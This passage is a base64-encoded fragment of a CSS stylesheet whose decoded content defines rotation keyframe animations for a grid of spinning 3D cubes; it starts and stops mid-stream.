nJhbWVzIHJvdGF0ZTkgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlOSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGU5IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgxMSkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTEwIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUxMCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTEwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTEwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTEwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgxMikgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTExIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUxMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMTEgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUxMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTExIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDEzKSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMTIgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTEyIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMTIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMTIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMTIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDE0KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMTMgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTEzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUxMyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTEzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMTMgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMTUpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUxNCAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMTQgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUxNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUxNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMTYpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUxNSAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMTUgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUxNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUxNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMTcpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUxNiAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMTYgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTE2IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMTYgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxNiB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgxOCkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTE3IDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUxNyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMTcgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUxNyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTE3IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDE5KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMTggMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTE4IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUxOCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTE4IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMTggew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKC0zNjBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMjApIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUxOSAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMTkgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTE5IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMTkgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUxOSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgyMSkgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTIwIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUyMCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTIwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTIwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTIwIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgyMikgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTIxIDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUyMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMjEgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KQC1vLWtleWZyYW1lcyByb3RhdGUyMSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTIxIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDIzKSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMjIgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTIyIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQpALXdlYmtpdC1rZXlmcmFtZXMgcm90YXRlMjIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMjIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMjIgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCi5jb250YWluZXI6bnRoLWNoaWxkKDI0KSAuY3ViZSB7DQogIGFuaW1hdGlvbjogcm90YXRlMjMgMnMgaW5maW5pdGUgbGluZWFyOw0KfQ0KQC1tb3ota2V5ZnJhbWVzIHJvdGF0ZTIzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUyMyB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgzNjBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTIzIHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkBrZXlmcmFtZXMgcm90YXRlMjMgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMzYwZGVnKTsNCiAgfQ0KfQ0KLmNvbnRhaW5lcjpudGgtY2hpbGQoMjUpIC5jdWJlIHsNCiAgYW5pbWF0aW9uOiByb3RhdGUyNCAycyBpbmZpbml0ZSBsaW5lYXI7DQp9DQpALW1vei1rZXlmcmFtZXMgcm90YXRlMjQgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTI0IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgzNjBkZWcpIHJvdGF0ZVkoLTM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMjQgew0KICAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDBkZWcpIHJvdGF0ZVkoMGRlZyk7DQogIH0NCiAgMTAwJSB7DQogICAgdHJhbnNmb3JtOiByb3RhdGVYKDM2MGRlZykgcm90YXRlWSgtMzYwZGVnKTsNCiAgfQ0KfQ0KQGtleWZyYW1lcyByb3RhdGUyNCB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKC0zNjBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgyNikgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTI1IDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUyNSB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoLTM2MGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KfQ0KQC13ZWJraXQta2V5ZnJhbWVzIHJvdGF0ZTI1IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpALW8ta2V5ZnJhbWVzIHJvdGF0ZTI1IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQpAa2V5ZnJhbWVzIHJvdGF0ZTI1IHsNCiAgMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQogIDEwMCUgew0KICAgIHRyYW5zZm9ybTogcm90YXRlWCgtMzYwZGVnKSByb3RhdGVZKDBkZWcpOw0KICB9DQp9DQouY29udGFpbmVyOm50aC1jaGlsZCgyNykgLmN1YmUgew0KICBhbmltYXRpb246IHJvdGF0ZTI2IDJzIGluZmluaXRlIGxpbmVhcjsNCn0NCkAtbW96LWtleWZyYW1lcyByb3RhdGUyNiB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtd2Via2l0LWtleWZyYW1lcyByb3RhdGUyNiB7DQogIDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMGRlZykgcm90YXRlWSgwZGVnKTsNCiAgfQ0KICAxMDAlIHsNCiAgICB0cmFuc2Zvcm06IHJvdGF0ZVgoMzYwZGVnKSByb3RhdGVZKDM2MGRlZyk7DQogIH0NCn0NCkAtby1rZXlmcmFtZXMgcm90YXRlMj